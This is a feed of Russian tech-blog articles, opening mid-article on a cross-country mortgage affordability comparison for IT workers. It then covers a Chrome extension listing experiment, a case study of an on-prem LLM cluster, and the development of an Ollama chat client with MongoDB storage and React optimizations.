IT-ипотека^[5] это, конечно, хорошо. 6% вместо 19%, разница больше чем в 3 раза. Но.

Купить жилье по ней можно только в регионах, кроме Москвы и Санкт-Петербурга. И это ещё не всё: если твоя компания зарегистрирована в Москве или СПб, участвовать в программе тоже нельзя.^[5] А большинство крупных IT-компаний зарегистрированы именно там. Купить можно только новостройку, вторичка не подходит. Лимит льготной части единый для всех регионов, 9 млн рублей (можно добрать до 18 млн по рыночной ставке), а квартира 60 м² в центре стоит около 13.9 млн.^[2] Работать нужно в аккредитованной Минцифры компании, которая применяет налоговые льготы, с зарплатой от 150 тысяч в месяц (90 тысяч для небольших городов). И главное: ставка 6% действует только пока ты в такой компании. Уволился — даётся полгода найти другую аккредитованную, иначе ставка становится рыночной.^[5]

Получается странная конструкция. Программа привязывает тебя к конкретному типу работодателя на годы вперед. Наверное, это лучше, чем 19%. Но это не "дешевая ипотека" в том смысле, в каком она есть в Европе, где 3-4% просто дают всем.

Сводная таблица

Страна	Ставка	Цена м²	Платеж/мес	IT-зарплата/мес	Доля
США	6.2%	$3 321	$1 162	$12 250	9%
Великобритания	5.4%	$5 651	$1 852	$8 000	23%
Нидерланды	4.1%	$6 808	$1 994	$7 167	28%
Испания	3.3%	$4 344	$1 191	$4 250	28%
Германия	4.0%	$6 247	$1 811	$6 083	30%
Япония	2.1%	$5 556	$1 357	$5 000	27%
Франция	3.8%	$5 634	$1 608	$4 750	34%
Швейцария	2.1%	$19 582	$4 800	$11 083	43%
Россия (IT)	6.0%	$3 217	$1 106	$2 546	43%
Россия	19.0%	$3 217	$2 503	$2 546	98%

Квартира 60 м² в центре города, 20% взнос, 20 лет. Зарплаты медианные для IT-специалистов (gross, средние по стране). Россия: медиана ~183 тыс. руб/мес по данным Хабр Карьера (2-я половина 2025). Курс ~72 руб/$ (середина 2026). Источники зарплат: GEOR, Glassdoor, PayScale, Japan Dev.

Почему так происходит

Ипотечная ставка не берется с потолка. Она привязана к ключевой ставке центрального банка. И тут вся разница между странами становится понятной.

Банк Японии держит ставку около 0.75%, уже третье десятилетие борется с дефляцией. ЕЦБ снизил до 2.0% к 2026-му. У ФРС США 3.5-3.75%.^[7]

У ЦБ РФ ключевая ставка 14.5%.^[1] На пике конца 2024 и начала 2025 она доходила до 21%, и рыночная ипотека тогда улетала за 30%.^[6] Сейчас ставка постепенно снижается, но всё ещё кратно выше, чем в развитых странах. Почему именно такая — вопрос сложный, причин много, и я не экономист, чтобы расставлять их по весу. Оставлю это комментаторам.

Источники

Ипотечные ставки по странам (20-year fixed или эквивалент). По зарубежным странам: Numbeo и Global Property Guide, снимок mid-2025/2026: Япония ~2.1%, Швейцария ~2.1%, Испания ~3.3%, Франция ~3.8%, Германия ~4.0%, Нидерланды ~4.1%, Великобритания ~5.4%, США ~6.2%. К середине 2026 они немного сдвинулись (США/Великобритания подросли на ~0.3 п.п., часть Европы снизилась, японский фикс вырос), но в пределах разброса и на сопоставление не влияют. По России: рыночная ипотечная ставка ~19% (Дом.рф, РИА Недвижимость, середина 2026). 21.3% и 30%+ это пик конца 2024 и начала 2025. Ключевая ставка ЦБ РФ на середину 2026 составляет 14.5% (пик 21% держался с октября 2024 по июнь 2025).
Numbeo: цена за м² в центре города (mid-2025/2026): Россия $3 217, США $3 321, Испания $4 344, Япония $5 556, Франция $5 634, Великобритания $5 651, Германия $6 247, Нидерланды $6 808, Швейцария $19 582. Важная оговорка: Numbeo это краудсорс, и для крупных стран показатель "центр города" фактически усредняется по многим городам, а не отражает центр столицы. Для США ($3 321) и России ($3 217) реальный центр мегаполиса (Манхэттен, центр Москвы) дороже в 3-6 раз. Цифры взяты по единой методологии Numbeo ради сопоставимости между странами, но это среднегородской уровень, а не премиальный центр. Для центра Москвы точнее ИРН, ЦИАН, Домклик; для США Redfin/Zillow по конкретному городу.
GEOR: средние зарплаты IT-специалистов по странам, 2026: США ~$147-150k, Швейцария $133k, Великобритания $96k, Нидерланды $86k, Германия $73k, Япония ~$55-68k, Франция ~$50-57k, Испания $51k. Перекрестно проверено по Glassdoor, Japan Dev и PayScale.
Хабр Карьера: зарплаты IT-специалистов в России; Habr, "Зарплаты IT-специалистов во второй половине 2025". Медиана по стране ~183 тыс. руб./мес (Москва ~230 тыс., СПб ~200 тыс., регионы ~159 тыс.). В долларах при курсе ~72 руб/$ (середина 2026) это ~$30.5 тыс/год. Оговорка: зарубежные зарплаты в таблице это преимущественно средние (GEOR), а не медианные, поэтому разрыв с медианой РФ может быть слегка преувеличен; зарплаты по Великобритании и Нидерландам, по-видимому, ближе к верхней границе рынка.
IT-ипотека в 2026 (Новострой-М, ЦИАН, Госуслуги): ставка до 6%, льготная часть лимита 9 млн руб. (единая для всех регионов; сверх лимита идёт по рыночной ставке), только новостройки, не доступна в самих Москве и СПб (но доступна в Московской и Ленинградской областях). Требуется работа в аккредитованной Минцифры IT-компании, применяющей налоговые льготы, с зарплатой от 150 тыс. руб/мес (90 тыс. для небольших городов). При увольнении даётся 6 месяцев на трудоустройство в другую такую компанию, иначе ставка становится рыночной. Программа до конца 2030 года.
Frank RG: "Ипотека 2025-2026: стресс-тест высокими ставками", рыночная ставка достигала 30%+ в январе 2025. К середине 2026 рыночная ипотека опустилась до ~19%; прогноз на конец 2026 составляет 16-17% (консенсус НРА/Минфин), оптимистично 14.5-15% (Frank RG).
Ключевые ставки центробанков (середина 2026): Банк Японии ~0.75%, ЕЦБ ~2.0%, ФРС США 3.5-3.75%, ЦБ РФ 14.5%.

Все расчеты: квартира 60 м² в центре города, первоначальный взнос 20%, срок 20 лет, аннуитетный платеж. Цены средние по стране (Numbeo), зарубежные ставки это снимок mid-2025/2026, российская ставка и курс на середину 2026. IT-зарплаты gross (по России медианные, по другим странам преимущественно средние). Курс рубля ~72 руб/$. Данные и расчеты актуальны на 10 июня 2026 года. Ставки и цены могут измениться.

Статья носит исключительно информационный характер и не является финансовой, инвестиционной или юридической рекомендацией. Автор не призывает к каким-либо действиям на основе приведённых данных. Все расчёты основаны на открытых источниках и могут содержать неточности. Перед принятием финансовых решений проконсультируйтесь со специалистом. Если вы нашли неточность или ошибку в цифрах — напишите в комментариях, исправлю и добавлю вас как соавтора.

Мы не меняли код расширения, но снизили удаления на 13%: кейс Chrome Web Store

lapouh04 — Wed, 10 Jun 2026 14:56:11 +0000

Несколько месяцев назад мы запустили своё первое расширение для Chrome — Download Manager (ссылка вшита в название).

После публикации я написала статью о первых результатах запуска. Среди комментариев было много полезной критики, а один из минусов был поставлен с формулировкой «Низкий технический уровень материала».

Что ж, справедливо.

Поэтому сегодня будет меньше истории про запуск расширения и больше цифр, таблиц, конверсий и попыток понять, что вообще происходит внутри Chrome Web Store.

В общем, просили технический материал — держите. Я даже добровольно открыла Excel.

Самое интересное заключается в том, что мы не меняли код расширения, не добавляли новые функции и не запускали рекламу. Изменения коснулись только текста и первого скриншота в магазине.

Результат оказался гораздо интереснее, чем ожидалось.

Смотрим цифры и разбираемся, что произошло

Немного контекста

Изначально расширение задумывалось как более удобная оболочка для работы с загрузками в Chrome.

Во время разработки быстро выяснилось, что многие вещи, которые пользователи ожидают от менеджеров загрузок, невозможно реализовать внутри обычного браузерного расширения.

Если коротко: Chrome очень заботится о безопасности пользователей и значительно меньше заботится о планах разработчиков.

Например, расширение не может:

управлять TCP-соединениями;
реализовывать многопоточную загрузку как IDM;
напрямую влиять на скорость скачивания файлов;
использовать собственный сетевой стек.

На этом этапе я поняла, почему многие расширения в Chrome Web Store обещают «ускорение загрузок», но очень осторожно избегают объяснений, как именно они это делают.

Первые результаты после запуска

После публикации мы сознательно отказались от рекламы.

Хотелось посмотреть, насколько хорошо Chrome Web Store способен самостоятельно приводить пользователей новому расширению.

Через несколько недель были получены следующие показатели:

Метрика	Значение
Показы карточки	1973
Переходы	349
Установки	127
Удаления	62

Конверсии

CTR (Показы → Переходы): 1973 → 349 = 17,7%

CR1 (Переходы → Установки): 349 → 127 = 36,4%

Общая конверсия: 1973 → 127 = 6,4%

Удаления от установок: 62 / 127 = 48,8%

Последний показатель сразу привлёк внимание. Практически каждый второй пользователь удалял расширение.

Для нового продукта это не катастрофа, но и хорошим результатом назвать сложно.

Возник вопрос: почему?

Гипотеза

Подробный разбор этой истории уже был в предыдущей статье, поэтому не буду пересказывать её целиком.

Коротко: мы предположили, что проблема находится не в продукте, а в ожиданиях пользователей. Многие воспринимают название Download Manager как обещание функций полноценного ускорителя загрузок вроде IDM, а потом приходят в расширение и обнаруживают, что телепортации файлов через интернет пока не произошло.

Если гипотеза верна, то исправлять нужно не код, а коммуникацию с пользователем.

Эксперимент

25 мая мы решили проверить эту гипотезу.

Изменения были минимальными:

Добавили в краткое описание фразу о том, что расширение не является ускорителем загрузок.
Добавили аналогичное пояснение на первый скриншот в Chrome Web Store.

Важно отметить:

Код расширения не менялся.
Никаких новых функций не добавлялось.
Внешний трафик не закупался.
Изменились только ожидания пользователя до установки.

Обычно продуктовые эксперименты ассоциируются с новыми функциями, редизайном или сложными A/B-тестами. Но наш эксперимент состоял из одной строчки текста. Иногда продуктовая аналитика бывает очень унизительной для разработчиков)

Сравнение результатов

Для чистоты эксперимента я сравнила два одинаковых периода по 14 дней.

До изменения позиционирования

11.05–24.05

Конверсии:

CTR: 17,7%
CR1: 36,4%
Общая конверсия: 6,4%
Удаления от установок: 48,8%

После изменения позиционирования

26.05–08.06

Конверсии:

CTR: 18,4%
CR1: 31,1%
Общая конверсия: 5,7%
Удаления от установок: 42,4%

Самое интересное

Самое забавное, что на первый взгляд эксперимент выглядит как провал. Конверсия в установку упала.
Любой маркетолог сейчас бы начал нервно листать отчёты. Но если копнуть чуть глубже, картина оказывается совсем другой.

Конверсия в установку действительно снизилась: 36,4% → 31,1%

То есть часть пользователей перестала устанавливать расширение. Но именно этого мы и добивались. Теперь карточка заранее отсекала аудиторию, которая искала ускоритель загрузок. В результате произошло более важное изменение.

Удаления снизились: 48,8% → 42,4%

Относительное снижение составило почти 13%.

Другими словами, пользователей стало меньше, но они оказались более целевыми.

Ещё один показатель

Посмотрим на количество пользователей, которое остаётся после установок.

До изменения: 127 установок − 62 удаления = 65 пользователей

После изменения: 144 установки − 61 удаление = 83 пользователя

Получается интересный эффект. Раньше из каждых 100 установивших расширение оставалось около 51 пользователя. После корректировки позиционирования стало оставаться около 58 пользователей.

Фактически мы увеличили эффективность каждой установки примерно на 13%. Не меняя ни одной строчки кода.

Что это говорит о Chrome Web Store

На основании этих данных можно сделать несколько выводов.

1. Chrome Web Store действительно приводит органический трафик

Даже новое расширение способно получать показы и установки без рекламы.

2. Алгоритмам важны не только установки

Если пользователь быстро удаляет расширение, это тоже сигнал качества продукта.

3. Позиционирование может влиять сильнее функциональности

Во время эксперимента не изменился сам продукт. Изменилось только описание продукта. Однако эффект оказался измеримым.

4. Высокая конверсия не всегда является хорошим показателем

Иногда снижение конверсии означает улучшение качества аудитории. Наш случай оказался именно таким.

Что дальше

Следующий этап эксперимента — дальнейшая работа с позиционированием и пользовательскими ожиданиями.

Сейчас интересно проверить ещё одну гипотезу.

Если уменьшить количество нецелевых установок ещё сильнее, сможет ли это дополнительно улучшить удержание и органический рост внутри Chrome Web Store?

Пока данных недостаточно для однозначных выводов.

Но уже сейчас можно сказать, что для новых расширений проблема зачастую заключается не в трафике и не в функциональности, а в том, что пользователь ожидает увидеть после установки.

И иногда одна строка текста способна повлиять на метрики сильнее, чем несколько недель разработки.

P.S. Если среди читателей есть разработчики Chrome-расширений, будет интересно узнать ваши наблюдения по удержанию пользователей и влиянию позиционирования на конверсии. Особенно интересен опыт работы с Chrome Web Store на небольших объёмах трафика.

А если кто-то уже проходил путь «пользователи ожидали одно, а получили другое», то, подозреваю, мы состоим в одном и том же клубе.

К следующей статье обещал подключиться

Когда компании пора строить свой LLM-кластер, а не пользоваться внешними API

it-calm — Wed, 10 Jun 2026 14:46:16 +0000

На раннем этапе внедрения LLM в компании выглядят как быстрый выигрыш: подключается внешний API (например, ChatGPT), ускоряется работа с текстами, автоматизируются ответы, появляются первые сценарии аналитики и агентных пайплайнов через Make или n8n.

До определённого масштаба этого достаточно.

По мере роста компании LLM перестаёт быть вспомогательным инструментом и становится частью операционных процессов. В системе появляются чувствительные данные, требования к контролю доступа, необходимость стабильной работы, интеграции во внутренние сервисы и вопросы экономики при больших объёмах запросов.

В этот момент модель «внешний API по подписке» начинает ограничивать развитие.

On-prem LLM как архитектурный слой

On-premise LLM — это модель и инфраструктура, развёрнутые внутри контролируемого контура компании: собственный дата-центр, colocation или private cloud.

Это принципиально отличается от использования внешнего API.

On-prem модель даёт:

контроль над данными и их размещением;
контроль над доступами, ролями и сценариями использования;
возможность встроить LLM в процессы как внутренний сервис, а не как внешний инструмент.

Речь идёт не о «переносе ChatGPT внутрь», а о построении AI-платформы как части корпоративной архитектуры.

Когда внешний LLM перестаёт работать

Переход к on-prem не происходит «по желанию». Обычно это реакция на конкретные ограничения.

1. Работа с чувствительными данными

Как только в LLM начинают попадать внутренние документы, клиентские данные, операционные показатели, возникает вопрос контроля.

Для внешних API это означает:

ограничения со стороны security и legal;
невозможность использовать модель в ряде процессов;
необходимость ручных обходных решений.

On-prem снимает этот блок: данные остаются внутри периметра, что ускоряет внедрение AI в процессы.

2. LLM становится частью системы

Следующий этап — интеграция модели в продукты и внутренние инструменты:

роли и уровни доступа;
интеграции с внутренними системами;
работа внутри интерфейсов сотрудников;
возврат результата обратно в бизнес-системы.

В такой архитектуре важно, чтобы данные не уходили во внешние сервисы.

On-prem даёт:

контроль над доступами и источниками данных;
возможность логирования и аудита;
предсказуемое поведение модели в рамках заданных сценариев.

3. Рост объёмов и экономика

На старте API-модель выглядит оптимальной: нет инфраструктуры, нет капитальных затрат.

На масштабе ситуация меняется:

расходы на токены могут достигать десятков тысяч долларов;
бюджет становится менее предсказуемым;
стоимость каждого нового сценария зависит от внешнего тарифа.

Собственная инфраструктура в этом случае даёт управляемую экономику и предсказуемость затрат.

Кому подходит on-prem LLM

On-prem решения обычно появляются там, где LLM становится частью операционной системы бизнеса:

регулируемые отрасли с требованиями комплаенса;
компании с большими объёмами внутренних данных;
контакт-центры и массовый сервис;
организации с несколькими продуктами и командами;
компании с прогнозируемым ростом нагрузки.

Кейс: LLM-платформа для телеком-компании (MENA)

В проекте для телеком-компании из региона MENA задача формулировалась не как «развернуть кластер», а как построить платформу для GenAI внутри корпоративного периметра.

Цель — создать контур, в котором разные команды могут:

запускать обучение и инференс;
работать с данными;
развивать AI-сценарии без разрозненных решений.

Реализация была разбита на фазы.

Основные этапы

фиксация целей и требований на уровне бизнес-процессов;
проектирование контура: вычисления, данные, безопасность, эксплуатация;
развёртывание платформы в периметре компании;
интеграции с внутренними системами;
организация хранения и структурирование данных;
настройка метрик, логов и дашбордов;
тестирование сценариев обучения и инференса под нагрузкой;
передача документации и выстраивание эксплуатации.

Техническая реализация

Фазность и вычислительные ресурсы

Phase 1:

Kubernetes развёрнут на 2 DGX + 2 management nodes
16 GPU A100 (2 compute-ноды по 8× A100)

Phase 2:

расширение worker-слоя до 3× DGX A100 (DGX01, DGX02, DGX03)

Данные и хранилище

Lustre-backed DDN storage
общий путь /scratch для датасетов, чекпоинтов и артефактов
объём: 100 TB shared storage

Наблюдаемость

Prometheus + Grafana (метрики, GPU, ноды)
централизованные логи: OpenSearch

Тестирование

Distributed training:

сценарий: 2 ноды × 4 GPU
объём данных: 20 GB → ~10 GB после препроцессинга
job завершён успешно

Инференс:

модель: Llama-3-3-70B-Instruct
нагрузка: 100–200 запросов
throughput: 300–700 tok/s
контроль: TTFT / TPOT / ITL

Что даёт такая платформа

После развёртывания компания получает не отдельный сервис, а базу для развития AI-функций.

Типовые направления:

1. Внутренние AI-ассистенты

Ассистенты для техподдержки, продаж, операционных и юридических команд с доступом к внутренним знаниям.

2. Контакт-центр

подсказки операторам
суммаризация диалогов
классификация обращений
ускорение обработки тикетов

3. RAG и корпоративный поиск

Единая точка доступа к документам и знаниям:
запрос → ответ с источниками.

4. Доменная адаптация моделей

Донастройка под терминологию, продукты и типовые обращения компании.

5. Масштабирование

добавление моделей
рост нагрузки
расширение compute и storage без перестройки архитектуры

6. Регулярный продакшн-цикл

тестирование
мониторинг
регресс-прогоны
контроль качества

Результат на уровне бизнеса

On-prem LLM-платформа даёт три ключевых эффекта:

новые AI-сценарии добавляются итерациями без пересборки инфраструктуры (предсказуемый time-to-value);
появляется прозрачность системы: нагрузка, узкие места, причины деградации;
расходы становятся управляемыми при росте использования.

Вывод

Внешние LLM-API эффективны на этапе экспериментов и первых сценариев.

Когда AI становится частью процессов, появляются требования к контролю данных, интеграциям, стабильности и экономике. В этот момент возникает необходимость в собственной инфраструктуре.

On-prem LLM — это не альтернатива API, а следующий этап развития: переход от использования модели как инструмента к построению AI как системного слоя внутри компании.

Эволюция клиента для Ollama: от PostgreSQL к MongoDB

Wed, 10 Jun 2026 14:40:01 +0000

«Код уже писать не надо, надо знать только цель, а код напишет себя сам».
Виктор Пелевин «iPhuck 10»

Привет. Меня зовут Николай Пискунов, я руководитель направления Big Data и эксперт курса Cloud DevSecOps по безопасной разработке от Академии вАЙТИ Beeline Cloud. Продолжаю цикл статей о клиенте для облачного сервиса Ollama. В первой части я рассказал, как родился этот клиент, с какими трудностями пришлось столкнуться при организации стриминга, и даже оставил пасхалку.

Однако, как и любой живой проект, этот клиент не стоит на месте. В этой части хочу поговорить о трёх ключевых изменениях, которые произошли после выхода первой версии:

Смена базы данных. Почему решил отказаться от PostgreSQL в пользу MongoDB.
Оптимизация фронтенда. Борьба с зависаниями интерфейса при обработке длинных промтов и ответов от нейросетей.
Новая функциональность. «Анализ проекта» — удобный способ загрузить код для ревью, с умной фильтрацией через .gitignore.

Поехали!

PostgreSQL vs MongoDB: история одной замены

В первой версии проекта всё было «по-взрослому»: реляционная база данных PostgreSQL, таблица chat_history с чёткой структурой (id, user_message, assistant_response, model, created_at). Казалось бы, что может быть надёжнее? Но я понял, что переход на MongoDB способен значительно улучшить производительность при работе с большими текстами, но с определёнными оговорками. Для нашего случая, когда проблема именно в сохранении больших ответов от LLM, MongoDB предлагает более прямое и эффективное решение. Дальше опишу ключевые различия PostgreSQL и MongoDB при работе с текстами. Понимание того, как каждая база данных обрабатывает большие данные, поможет увидеть, где можно выиграть в производительности.

PostgreSQL

Механизм хранения. Использует TOAST (The Oversized-Attribute Storage Technique). Когда текст превышает ~2 КБ, он автоматически сжимается и перемещается в отдельные служебные TOAST-таблицы. В основной таблице остаётся только указатель.
Накладные расходы. TOAST — это мощный, но тяжёлый механизм. Он требует дополнительных операций сжатия/распаковки и чтения из нескольких таблиц, что создаёт нагрузку на процессор и дисковую систему.
Производительность при работе с большими текстами. Падает по мере разрастания текста. Производительность PostgreSQL ухудшается, как только в дело вступает TOAST (после 2 КБ).
Лимиты. До 1 ГБ на колонку (конечно, не критично для нашего кейса).
Обновления. PostgreSQL работает неэффективно — перезаписывает весь объект, а не только изменения.

MongoDB

Механизм хранения. Хранит данные в бинарном формате BSON как единые, самодостаточные документы. В нашем случае это означает, что весь диалог (история + новый ответ) может быть одним документом.
Накладные расходы. Отсутствует аналог TOAST. Чтение документа — это, как правило, одна операция ввода-вывода. Это упрощает работу и снижает нагрузку.
Предсказуемая производительность при работе с большими текстами, пока документ не превышает лимит. MongoDB изначально проектировалась для работы с большими объёмами данных в одном документе.
Лимиты. До 16 МБ на документ. Для подавляющего большинства диалогов с LLM этого более чем достаточно.
Обновления. Позволяет эффективно обновлять часть документа (например, добавлять новое сообщение), не перезаписывая его целиком.

Что даст замена базы данных? Скорость записи и чтения станет выше. PostgreSQL режет большой ответ на чанки, сжимает их и раскладывает по TOAST-таблицам, а потом собирает его из разных частей. MongoDB просто сохранит диалог как единое целое. Это особенно заметно на больших объёмах данных. Благодаря этому код и вообще логика приложения станет проще, ведь не нужно думать о транзакциях для обновления диалога. Вся история — это один документ.

Что ещё важно: MongoDB в шесть раз эффективнее использует дисковое пространство при работе с JSON по сравнению с PostgreSQL. Нагрузка на процессор также будет ниже, так как не нужно постоянно сжимать и распаковывать большие объёмы текста.

Да, у MongoDB есть и ограничения, но они не так уж критичны для нашего конкретного проекта:

Лимит. 16 МБ — это не так уж и мало, их хватит для хранения огромной истории переписки. Говорят, что все тексты Вильяма Шекспира в текстовом формате занимают около 5,5 МБ.
Фрагментация. При интенсивной вставке и удалении очень больших документов (близких к лимиту) может возникать фрагментация дискового пространства. Однако судя по нашей архитектуре и тому, что я хочу получить, скорее всего, буду дополнять существующие документы, а не перезаписывать их целиком, так что эта проблема вряд ли нам грозит.
Поиск по тексту. Если мне понадобится полнотекстовый поиск по ответам модели, MongoDB предоставит мощные инструменты (Atlas Search), построенные на Apache Lucene. Это эффективнее, чем LIKE-запросы в PostgreSQL.

Какую проблему решила замена БД

Естественной единицей информации в нашем приложении является не отдельное сообщение, а сессия чата (диалог). Пользователь общается с ассистентом, сообщения идут друг за другом, и для контекста нам нужно хранить их последовательно.

В реляционной модели мы вынуждены хранить каждое сообщение отдельной строкой в таблице chat_history, связывая их через session_id. Это работало, но выглядело как натягивание совы на глобус, плюс длинные тексты обрабатываются достаточно долго. Каждый запрос на получение истории требовал сборки диалога по кусочкам, что усложняло код.

sql
-- Было: каждое сообщение отдельной строкой
SELECT * FROM chat_history WHERE session_id = ? ORDER BY created_at;

MongoDB предложила гораздо более элегантное решение. Теперь одна сессия чата — это один документ в коллекции chat_sessions. Внутри документа — массив messages, где каждое сообщение хранится как вложенный документ со своим role (user/assistant), content и timestamp.

Взгляните на новую модель ChatHistory:

java
@Data
@NoArgsConstructor
@Document(collection = "chat_sessions")
public class ChatHistory {
    @Id
    private String id;
 
    @Indexed(unique = true)
    private String sessionId;
 
    private List<ChatMessage> messages = new ArrayList<>(); // Вот оно!
 
    private String model;
    private LocalDateTime createdAt;
    private LocalDateTime lastUpdatedAt;
 
    @Data
    @NoArgsConstructor
    public static class ChatMessage {
        private String role;
        private String content;
        private LocalDateTime timestamp;
    }
 
    // Вспомогательные методы для работы с сообщениями
    public void addUserMessage(String content) { ... }
    public void addAssistantMessage(String content) { ... }
}

Это не просто изменение схемы, это изменение парадигмы: теперь мы получаем сессию целиком. Один запрос к базе — и у меня в руках готовый объект ChatHistory со всей историей диалога. А методы addUserMessage и addAssistantMessage инкапсулируют логику добавления нового сообщения в массив и обновления времени.

Код сервиса стал чище и понятнее. Теперь я не собираю историю по кусочкам, а просто работаю с цельным объектом.

java
// Стало: получаем всю сессию и работаем с её массивом сообщений
ChatHistory session = getOrCreateSession(request.getSessionId(), request.getModel());
List<ChatHistory.ChatMessage> historyMessages = session.getLastMessages(MAX_HISTORY_MESSAGES);
// ... формируем запрос к API, добавляя сообщения из historyMessages

Конечно, я понимаю, что NoSQL — не серебряная пуля, но для сценария «документоориентированного» чата это решение кажется на удивление удачным и естественным.

Боремся с «тугодумством» и оптимизируем фронтенд

Вторая проблема проявилась, когда я начал активно тестировать проект с длинными промтами и ответами от LLM. Фронтенд на React начинал заметно подтормаживать, а иногда и вовсе зависать на несколько секунд. В чём же дело?

Каждый новый чанк вызывал обновление состояния messages в компоненте Chat. Это, в свою очередь, приводило к полному перерендеру всего дерева компонентов, включая MessageList и все дочерние сообщения. При длинном ответе, состоящем из тысяч чанков, React просто не успевал перерисовывать интерфейс 60 раз в секунду.

Решение 1: мемоизация с React.memo и useCallback

Первым делом применил стандартные, но очень эффективные инструменты React:

React.memo для компонентов. Обернуть компоненты MessageList и ModelSelector в React.memo. Это говорит React: «Перерисовывай меня только тогда, когда изменились мои props».

typescript
// frontend/src/components/MessageList.tsx
export default React.memo(MessageList);
// frontend/src/components/ModelSelector.tsx
export default React.memo(ModelSelector);

useCallback для функций. Все функции, передаваемые как props дочерним компонентам (например, onPromptGenerated, clearHistory), обернуть в useCallback. Это гарантирует, что ссылка на функцию не будет меняться при каждом рендере родителя и React.memo сможет корректно отработать.

typescript
// frontend/src/components/Chat.tsx
const clearHistory = useCallback(async () => { ... }, [sessionId, generateSessionId]);
const handlePromptGenerated = useCallback((prompt: string) => { ... }, []);

Решение 2: мемоизация значений с useMemo

Следующим шагом стала мемоизация тяжёлых вычислений. Самый показательный пример — рендер списка сообщений. Вместо того чтобы на каждом обновлении пробегаться по массиву messages и генерировать JSX, делаем это только при изменении самих сообщений или состояния expandedMessages.

typescript
// frontend/src/components/MessageList.tsx
const messageElements = useMemo(() => {
    return messages.map((message) => {
        // ... генерация JSX для каждого сообщения
    });
}, [messages, expandedMessages, formatMessage]); // Пересоздаём только при изменении этих зависимостей

Решение 3: дебаунсинг сохранения в localStorage

Сохранение истории в localStorage — операция небыстрая и синхронная. Делать её после каждого чанка было бы самоубийством. Я применил простой дебаунсинг с setTimeout. Сохранение происходит только через 500 миллисекунд после того, как пользователь перестал печатать или стрим завершил отправку чанков.

typescript
useEffect(() => {
    if (messages.length > 0) {
        const timeoutId = setTimeout(() => {
            saveMessagesToStorage(messages);
        }, 500);
        return () => clearTimeout(timeoutId);
    }
}, [messages, saveMessagesToStorage]);

Эти нехитрые, но важные оптимизации полностью решили проблему с зависаниями. Интерфейс снова стал отзывчивым и плавным, даже когда ассистент выдавал многотысячные токены кода.

ИИ-анализ проекта, или как загружать код на ревью с умом

Самая интересная новая фича — это возможность загрузить папку с проектом и попросить ИИ проанализировать код. Но просто загрузить все файлы подряд — плохая идея. В папке node_modules могут быть тысячи файлов, а бинарники вроде картинок нам вообще не нужны.

Первое, что я сделал, — научил фронт читать и парсить файл .gitignore. Если он есть в загружаемом проекте, я создаю парсер, который понимает его правила. Это позволяет на лету отфильтровывать те файлы и папки, которые разработчик и так не хочет видеть в репозитории.

typescript
// Упрощённая версия класса-парсера
class GitIgnoreParser {
  // ...
  shouldIgnore(filePath: string): boolean {
    // Сначала проверяем правила исключений (!)
    // Потом проверяем основные паттерны
    // ...
  }
}

Затем реализовал свой чёрный список (DEFAULT_IGNORE_PATTERNS). В него попали:

системные файлы: .DS_Store, Thumbs.db;
папки зависимостей: node_modules/, vendor/, target/;
папки сборки: dist/, build/, .next/;
любые бинарники: картинки, видео, архивы, исполняемые файлы;
файлы-блокировщики: package-lock.json, yarn.lock (обычно они огромны и не несут смысла для анализа);
слишком большие файлы: установил лимит в 5 МБ на файл.

Наконец, добавил удобный интерфейс. После выбора папки пользователь видит красивое дерево файлов, где можно выбирать отдельные файлы или целые директории для анализа. Интерфейс показывает частичный выбор в папках (то самое неопределённое состояние чекбокса), размер файлов и их язык. Снизу отображается статистика по выбранным файлам и редактируемый шаблон промта, в который можно вставить как структуру проекта, так и содержимое выбранных файлов.

typescript
const generatePrompt = () => {
    let prompt = promptTemplate;
    if (includeFileTree) {
        const treeLines = generateFileTreeText(fileTree);
        prompt = prompt.replace('{{FILE_TREE}}', `Структура проекта:n${treeLines.join('n')}n`);
    }
    prompt = prompt.replace('{{FILE_CONTENTS}}', generateSelectedFileContents());
    onPromptGenerated(prompt);
};

Нажатие кнопки «Создать промт» вставляет готовый текст в поле ввода, и можно сразу отправлять запрос ИИ на анализ своего кода. Мечта любого разработчика, который хочет получить ревью от нейросети, не копируя файлы вручную.

Заключение

Проект продолжает развиваться. Была заменена неудобная реляционная модель на естественную документную, интерфейс стал отзывчивым даже при самых «разговорчивых» нейросетях, и добавлена киллер-фича для анализа кода.

Что дальше? В планах — поддержка системных промтов, возможность сравнивать ответы разных моделей на один запрос и, конечно, исправление новых багов, которые обязательно появятся. Жду ваших звёздочек и пул-реквестов на GitVerse в ветке proj-selector!

Beeline Cloud — безопасный облачный провайдер. Разрабатываем облачные решения, чтобы вы предоставляли клиентам лучшие сервисы.